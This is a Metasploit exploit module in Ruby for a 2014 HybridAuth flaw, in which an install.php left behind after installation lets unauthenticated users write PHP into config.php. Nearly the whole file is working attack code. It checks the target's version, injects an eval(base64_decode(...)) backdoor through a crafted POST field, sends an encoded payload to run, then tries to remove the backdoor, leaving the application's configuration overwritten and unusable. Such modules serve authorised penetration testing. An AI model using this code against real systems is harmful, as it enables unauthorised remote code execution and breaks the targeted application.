Path: blob/master/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb
28523 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking # application config.php is overwritten78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'HybridAuth install.php PHP Code Execution',15'Description' => %q{16This module exploits a PHP code execution vulnerability in17HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php'18is not removed after installation allowing unauthenticated users to19write PHP code to the application configuration file 'config.php'.2021Note: This exploit will overwrite the application configuration file22rendering the application unusable.23},24'License' => MSF_LICENSE,25'Author' => [26'Pichaya Morimoto', # Discovery and PoC27'bcoles' # Metasploit28],29'References' => [30['CVE', '2014-125116'],31['EDB', '34273'],32['OSVDB', '109838']33],34'Arch' => ARCH_PHP,35'Platform' => 'php',36'Targets' => [37# Tested:38# HybridAuth versions 2.0.9, 2.0.10, 2.0.11, 2.1.2, 2.2.2 on Apache/2.2.14 (Ubuntu)39['HybridAuth version 2.0.9 to 2.2.2 (PHP Payload)', {}]40],41'Privileged' => false,42'DisclosureDate' => '2014-08-04',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54OptString.new('TARGETURI', [true, 'The base path to HybridAuth library', '/hybridauth/'])55]56)57end5859#60# Check:61# * install.php exists62# * config.php is writable63# * HybridAuth version is 2.0.9 to 2.0.11, 2.1.x, or 2.2.0 to 2.2.264#65def check66res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php')67if !res68vprint_error "Connection failed"69return Exploit::CheckCode::Unknown70elsif res.code == 40471vprint_error "Could not find install.php"72elsif res.body =~ />([^<]+)<\/span> must be <b >WRITABLE</73vprint_error "#{$1} is not writable"74elsif res.body =~ />HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</75version = res.body.scan(/>HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</).first.first76vprint_status "Found version: #{version}"77if version =~ /^2\.(0\.(9|10|11)|1\.[\d]+|2\.[012])/78return Exploit::CheckCode::Vulnerable79else80vprint_error "HybridAuth version #{version} is not vulnerable"81end82end83Exploit::CheckCode::Safe84end8586#87# Exploit88#89def exploit90# check vuln91if check != Exploit::CheckCode::Vulnerable92fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"93end9495# write backdoor96print_status "Writing backdoor to config.php"97payload_param = rand(1000)98res = send_request_cgi(99'method' => 'POST',100'uri' => normalize_uri(target_uri.path, 'install.php'),101'data' => "OPENID_ADAPTER_STATUS=eval(base64_decode($_POST[#{payload_param}])))));/*"102)103if !res104fail_with Failure::Unknown, "#{peer} - Connection failed"105elsif res.body =~ /Installation completed/106print_good "Wrote backdoor successfully"107else108fail_with Failure::UnexpectedReply, "#{peer} - Coud not write backdoor to 'config.php'"109end110111# execute payload112code = Rex::Text.encode_base64(payload.encoded)113print_status "Sending payload to config.php backdoor (#{code.length} bytes)"114res = send_request_cgi({115'method' => 'POST',116'uri' => normalize_uri(target_uri.path, 'config.php'),117'data' => "#{payload_param}=#{code}"118}, 5)119if !res120print_warning "No response"121elsif res.code == 404122fail_with Failure::NotFound, "#{peer} - Could not find config.php"123elsif res.code == 200 || res.code == 500124print_good "Sent payload successfully"125end126127# remove backdoor128print_status "Removing backdoor from config.php"129res = send_request_cgi(130'method' => 'POST',131'uri' => normalize_uri(target_uri.path, 'install.php'),132'data' => 'OPENID_ADAPTER_STATUS='133)134if !res135print_error "Connection failed"136elsif res.body =~ /Installation completed/137print_good "Removed backdoor successfully"138else139print_warning "Could not remove payload from config.php"140end141end142end143144145